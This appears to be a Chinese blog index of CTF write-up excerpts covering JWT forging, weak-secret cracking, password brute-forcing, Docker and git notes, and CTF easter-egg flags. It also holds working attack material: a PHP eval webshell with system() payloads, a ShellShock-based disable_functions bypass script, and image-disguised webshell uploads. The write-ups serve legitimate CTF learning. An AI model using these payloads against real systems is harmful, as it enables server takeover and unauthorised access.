ctfhub-jwt
基础知识题目附件:jwt基础知识
flag在下面
需要了解一下jwt组成部分
敏感信息泄露随便输个
进去查消息头
然后在
jwt.io
decode 一共两部分ag是另一半
无签名import jwt
algorithm="none"
payload = {
"username": "admin",
"password": "admin",
"role":"admin"
}
key = ""
encoded = jwt.encode(payload,key,algorithm)
print(encoded)
jwt的签名可以为无
今天写这个脚本的时候命名为jwt.py
结果报错 但是系统环境运行正常
才知道是文件名的事
import jwt 他先自己引用自己了
抓包
把cookie里的token改为这脚本的运行结果
弱密钥需要用到jwt-cracker
依次执行即可
git clone https://github.com/brendan-rius/c-jwt-cracker
./c-jwt-cracker
make
./jwtcrack ey ...
ctfshow黑盒测试
web380先看源码没发现啥
然后再点点看看功能
发现文章页的格式为
page_n.php
猜测为sql注入
直接在n处注入无效
尝试?id=处注入
发现报错
file_get_contents(1'.php)
直接读取flag?id=flag
flag出现
web381再次尝试上题思路,发现无回显
再次翻看源码
发现到css文件中出现了一个特殊地址
尝试打开,之后回退文件地址
直到退至/alsckdfy/出现flag
一些文件的调用可能会来自某些特殊的地址
如本题中后台和前站共用同一个css文件
其他如通过cdn、图床等溯源回网上仓库(github等)
即可查到源码,或找到后台等特殊地址
web382-383继续访问上题出现的后台地址
发现出现了个后台登陆界面
既然难度是梯度上升
可以考虑弱密码或者万能密码
进入
flag get√
web384
hint:密码前2位是小写字母,后三位是数字
再次进入后台登录页面
用户名肯定是admin
然后就是爆破密码
方法一:写个脚本生成密码字典
方法二:使用burp爆破时
将password设为两个变量
...
kali安装docker
kali安装dockerapt-get update
apt-get install docker-engine
# 安装结束,打开docker服务
service docker start
# 验证安装,运行测试样例
docker --version
docker run hello-world
#测试
docker 常用命令docker --version
docker images
docker ps -a
docker run -d --name 123 -p 127.0.0.1:80:80 镜像名
docker stop 123
其他常用命令见菜鸟教程
dockers底层原理Namespaces
命名空间是 Linux 为我们提供的用于分离进程树、网络接口、挂载点以及进程间通信等资源的方法。在日常使用Linux时,我们并没有运行多个完全分离的服务器的需要,但是如果我们在服务器上启动了多个服务,这些服务其实会相互影响的,每一个服务都能看到其他服务的进程,也可以访问宿主机器上的任意文件,这是很多时候我们都不愿意看到的,我们更希望运行在同一台机器上的不同服务能做到完全隔离,就像运行 ...
git命令
创建仓库命令initgit init 命令用于在目录中创建新的 Git 仓库。在文件夹中,会被创建出一个.git的一个隐藏文件,这时,本地库已经初始化完成.
clonegit clone 拷贝一个 Git 仓库到本地,让自己能够查看该项目,或者进行修改。拷贝项目命令格式如下:
git clone [url]
提交与修改addgit add 命令可将该文件添加到暂存区。
添加一个或多个文件到暂存区
commitgit commit 命令将暂存区内容添加到本地仓库中。提交暂存区到本地仓库中:
git commit -m [message]
[message] 可以是一些备注信息。
statusgit status 命令用于查看在你上次提交之后是否有对文件进行再次修改。
rmgit rm 命令用于删除文件。如果只是简单地从工作目录中手工删除文件,运行 git status 时就会在 Changes not staged for commit 的提示。
mvgit mv 命令用于移动或重命名一个文件、目录或软连接。
git mv [file] [newfile]
如果新文件名已经存在,但还是 ...
ctfhub-彩蛋
工具 彩蛋一开始的想法是工具一共有8页,想抓个包改下看看有没有第九页抓包后发现不管哪一页limit都是12 但offset在变化于是这样设置参数在长度为1000到6、7千左右随便一个双击后 点击响应 看响应包在最后一行
首页 彩蛋api中间框内隐藏着两行字ctfhub{c18732f48a96c40d40a06e74b1305706}
题目入口 彩蛋在web-ssrf中间那一列的某些题传参错误时会出现详情见ctfhub-ssrfpost最后一行介绍
公众号公众号彩蛋坑的一批!首先要先绑定然后点彩蛋它提示要回复正确的关键词我*#@%我回复过
彩蛋 关键词 egg ctfhub CTFHub 拿来把你 CTFer 自己人 ……
到底没想到竟然是flag
投稿提交 彩蛋只找到了前半部分分别在题目提交和wp提交页面的最后
ctfhub{029e02eb3a1
e8c49b1132b5
15b652a5f3a8
62013}
最后这个彩蛋剩余部分也没找到网上搜了下才明白:感谢anweilx的wp第一行是俩页面的最后有第二行是在俩页面源码 分别搜奖励 在上面那行一个是 ...
ctfhub-rce
rce:远程代码执行漏洞分为远程命令执行ping和远程代码执行evel。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。相当于直接操控服务器电脑的cmd命令行!高危漏洞!
eval执行<?php
if(isset($_REQUEST['cmd'])){
eval($_REQUEST['cmd']);
}
else{
highlight_file(__FILE__);
}
?>
传参给cmd来eval
/?cmd=system("ls /");//此处因为根目录无flag 所以看上一级目录
找到后 再cat /flag_****
文件包含这里使用strpos函数
strpos:查找字符串首次出现的位置
int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
题目使用
if(!strpos($_GET["file" ...
22年10月末
709e820b2f5bb6db36bae87ed03a646f003cb0ce380f747ce4c88c56db22ab5d4185982fe20a41655de1394a5eceab58e21807493670c6615c8e8242ca46bffad9a1b81b645f9265d7dcb889f7879afeeacd2ac55f245aef6303c7f519362152373411c74c6b8780dce51847d73a6477709fd59641feb9af07d20f42a44b033ed79dda6ed6f98348586cf744d49d850e4ec5bf9d0a470c636f7e9ac709ccf9e657bb4b3f29d6a79cb3c4562fd379c8120eea9e54aa23d4b9e094ebd1a55157e901ea92fd7872064f902faf8f672f3dbacd1f701c31b68649f502bc58470b1a6ba2b456d4971c4296706af0632fe71ca5b775440d451ec6965 ...
Bypass disable_function
LD_PRELOAD时间紧 于是先采用最省时的方法先蚁剑连发现打不开flag文件要使用蚁剑插件绕过disabled function
如果蚁剑插件市场打不开的话可以去github搜github上有说明 按着他的安
连上之后在蚁剑主页面右键webshell使用该插件按照步骤操作成功后把webshell地址改为http://……/.antproxy.php在连上就能tac了tac /flag
ShellShock进去发现连不上查了下大佬博客说是环境不正常原理如下
如果环境变量的值以字符() {开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在shell启动的时候才生效。
脚本
<?php
$cmd = " tac /flag>/var/www/html/1.txt";
putenv("PHP_DMIND=() { :; };$cmd");
error_log("dmind",1);
echo file_get_contents("/var/www/html/1.txt");
?>
用蚁剑传进去后 ...
2022 unctf wp
web我太喜欢bilibili大学啦–中北大学打开就一个phpinfo直接搜flag直出
虽然我是中北大学的,但这不是我们实验室出的题略感离谱
签到-吉林警察学院打开有行注释以为拿来当用户名密码登录就完了来结果只有个登录成功假签到题尝试使用其他用户名(规律:用户名=密码)发现学号改一下会出现字符再试试还有开始爆破burp先设置最后一位为变量从1爆到9然后再设置两位为变量从10开始往后爆最后手打的flag懒得写脚本了(为了个签到题写脚本不太划算)
easy_upload-云南警官学院传个一句话mua写的图片🐎进去发现不行试了半天把ContentType改成png传进去了然后🐜🗡连一下找flag在/home/ctf/flag
302与深大-深圳大学进去提示302重定向burp抓包然后让get和post传参进去最后改cookie: admin=trueflag get√
我太喜欢bilibili大学啦修复版-中北大学打开又是phpinfo看题目描述找hint于是搜索hint发现指向admin_unctf.php看源码发现注释
再抓包,发现hi ...